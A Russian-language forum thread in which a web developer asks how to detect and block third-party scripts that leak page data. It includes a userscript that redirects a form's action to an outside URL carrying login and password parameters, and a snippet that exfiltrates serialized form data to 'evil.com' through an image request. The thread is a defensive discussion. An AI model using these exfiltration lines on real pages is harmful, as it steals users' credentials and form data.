поиск элементов
Как можно найти все элементы на странице, включая те, которые добавлены посредством js после ее загрузки, по их атрибутам.
href action src Какие еще атрибуты есть, которые передают данные или подгружают, что либо на страницу? Короче говоря, петруха такова. Нужно запретить утечку данных со страницы. Страница должна обмениваться данными только со своим сервером. Спасибо. |
Цитата:
|
Поясняю!
function work(){ document.getElementById('MyForm').setAttribute('action', 'http://site.ru/?pass=yryryyryr&login=lol'); document.getElementById('MyForm').submit(); } window.onload = function(){work();} Это js скрипт подгружается допустим в опере в разделе Инструменты/быстрые настройки/настройки для сайта/скрипты/папка пользовательских файлов JavaScript. $(document).ready(function(){ $('form').submit(function(){ alert($(this).attr('action')); return false; }); }); А вот этот скрипт, который расположен непосредственно на странице не срабатывает когда форма отправляется тем криптом. Плюс всегда есть вероятность внедрения кода также непосредственно в страницу. header("X-Content-Security-Policy: 'none'");непомогает! |
Цитата:
Цитата:
|
Ну задачи есть разные.
Юзер может и не знать что у него осторонний скрипт работает. Нужно хотя бы лог вести об отправлении данных, и в случе чего предупредить его! Если есть вероятность утечки данных, то она должна быть прекрыта! Меня больше интересует, как отследить работу сторонних скриптов а не критика! |
А как ты отследишь это:
<script> var image = new Image(); image.src = 'http//evil.com/?' + $('form').serialize(); </script> |
$('form').submit(function(){ alert($(this).serialize()); return false; }); Вообще ничего не показывает :) атрибут name не установлен. Однако это легко исправимо на стороннем скрипте. Надо думать ;) alert($('script').length); Показывает количество скриптов, которые на странице по умолчанию. Тоже не катит. Как можно узнать, что сторонний скрипт подключен? |
Слушать изменения DOM через MutationObserver/MutationEvent ? Но это очень медленно. И что если скрипт будет впрыснут вперед твоих скриптов?
А если у пользователя стоит какое-нибудь расширение, которое подключает какой-нибудь безобидный скрипт к странице? |
Цитата:
Если будет внедрен на страницу через тег script, то его можно отследить! На количество тегов script в DOM. На счет того что, скрипт будет впрыснут вперед твоих скриптов, то на сколько я понимаю, когда через оперу подключается сторонний скрипт, так и происходит. Но изменения DOM все равно происходят. Допустим при добавлении к форме атрибута action. По умолчанию таких атрибутов нет на странице. |
Цитата:
Цитата:
А если у юзера стоит злой юзерскрипт, который хоть и работает с отдельном контексте, но все же имеет доступ к DOM-у, в том числе полям формы? Объясни что и от чего ты хочешь защитить. |
Часовой пояс GMT +3, время: 02:50. |